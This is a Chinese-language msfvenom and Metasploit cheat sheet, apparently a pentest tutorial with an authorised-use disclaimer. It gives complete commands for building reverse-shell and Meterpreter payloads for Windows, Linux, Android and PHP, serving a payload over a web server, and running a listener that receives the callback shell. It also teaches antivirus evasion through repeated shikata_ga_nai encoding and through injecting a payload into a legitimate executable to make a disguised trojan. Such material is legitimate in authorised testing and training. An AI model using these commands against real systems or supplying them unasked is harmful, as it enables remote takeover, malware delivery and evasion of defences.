⚠️ 重要安全提醒
- 所有操作必须在合法授权环境中进行(个人靶机、企业授权测试、CTF 实验室、攻防演练)。
- 严禁未经授权对他人设备、服务器、网络实施攻击,否则将承担法律责任。
- 本文仅用于网络安全学习与渗透测试技术研究,禁止用于非法用途。
1.生成exe
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.19.130 LPORT=8080 -f exe -o test.exe
2.将exe放到web中
service apache2 start
cp test.exe /var/www/html
3.攻击机开启监听
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.19.130
set LPORT 8080
exploit
4.靶机下载文件
http://192.168.19.130/test.html
下载并运行,攻击机获得回弹meterpreter,取得shell
Msfvenom工具
本文整理了 msfvenom 核心命令、载荷生成、高级免杀技巧、监听器配置及安全提醒,适用于 Kali Linux 环境下授权渗透测试、靶机练习、CTF 竞赛使用。
一、基础帮助与列表查询
msfvenom 是 Metasploit 框架的载荷生成工具,基础查询命令可快速获取可用参数、载荷、编码器等信息:
# 查看所有可用选项与参数说明
msfvenom -h
# 列出所有可用攻击载荷(Payloads)
msfvenom -l payloads
# 列出所有可用编码器(用于免杀混淆)
msfvenom -l encoders
# 列出所有支持的输出文件格式
msfvenom -l formats
二、核心命令结构(载荷生成)
标准生成语法,所有定制化载荷均基于此结构修改:
msfvenom -p <payload> LHOST=<IP地址> LPORT=<端口> -f <格式> -o <输出文件>
-p:指定使用的攻击载荷LHOST:攻击者本机 IP (靶机需能访问该 IP)LPORT:监听端口 (需与监听器端口一致)-f:指定输出文件格式 (exe/elf/apk 等)-o:指定生成文件的保存名称
三、常用载荷生成示例
1. Windows 系统载荷
Windows 反弹 Shell (EXE 格式)
msfvenom -p windows/shell/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o reverse_shell.exe
Windows Meterpreter 反弹 Shell (功能最全面)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o meterpreter.exe
2. Linux 系统载荷
# Linux x86 反弹 Shell (ELF 格式)
msfvenom -p linux/x86/shell/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f elf -o reverse_shell.elf
3. 移动设备载荷
Android 后门 APK (Meterpreter)
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f apk -o shell.apk
4. Web 服务载荷
PHP 一句话后门 (Meterpreter)
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f raw -o shell.php
还可扩展生成 ASP、JSP 格式,适配不同 Web 容器
四、高级免杀技巧(提升隐蔽性)
1. 编码混淆(最常用)
通过编码器对载荷加密,绕过基础杀毒软件:
# 使用 shikata_ga_nai 编码器,迭代 10 次混淆
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -e x86/shikata_ga_nai -i 10 -f exe -o encoded.exe
-e:指定编码器-i:设置编码迭代次数(次数越高免杀效果越好)
2. 规避坏字符
排除导致载荷执行失败的特殊字符(如空字符、换行符):
msfvenom -p windows/shell/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -b '\x00\x0d\x0a' -f exe -o clean.exe
-b:指定需要排除的坏字符
3. 模板注入(伪装成合法程序)
将恶意载荷注入正常 exe 文件,保留原程序功能,伪装成正常软件:
msfvenom -x /path/to/legitimate.exe -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o trojan.exe
-x:指定合法程序模板-k:保留模板程序原有功能
4. 多格式适配
根据场景生成 .dll、.vba、.ps1 等格式,适配不同注入场景。
五、启动监听器接收反弹连接
生成载荷后,在 Kali 中启动 msfconsole 监听,等待靶机上线:
1. 启动 Metasploit 控制台
msfconsole
2. 加载监听模块
use exploit/multi/handler
3. 关键:载荷必须与生成时完全一致
set payload windows/meterpreter/reverse_tcp
4. 配置监听 IP 和端口(与生成载荷参数一致)
set LHOST 192.168.1.100
set LPORT 4444
5. 启动监听(-j 表示后台运行)
exploit -j
总结
- 基础查询用
-h/-l,核心生成用-p LHOST LPORT -f -o固定结构; - 常用载荷适配 Windows/Linux/Android/Web 多场景,Meterpreter 功能最全面;
- 编码、坏字符规避、模板注入是核心免杀手段;
- 监听器参数必须与生成载荷完全一致,且仅可用于授权环境。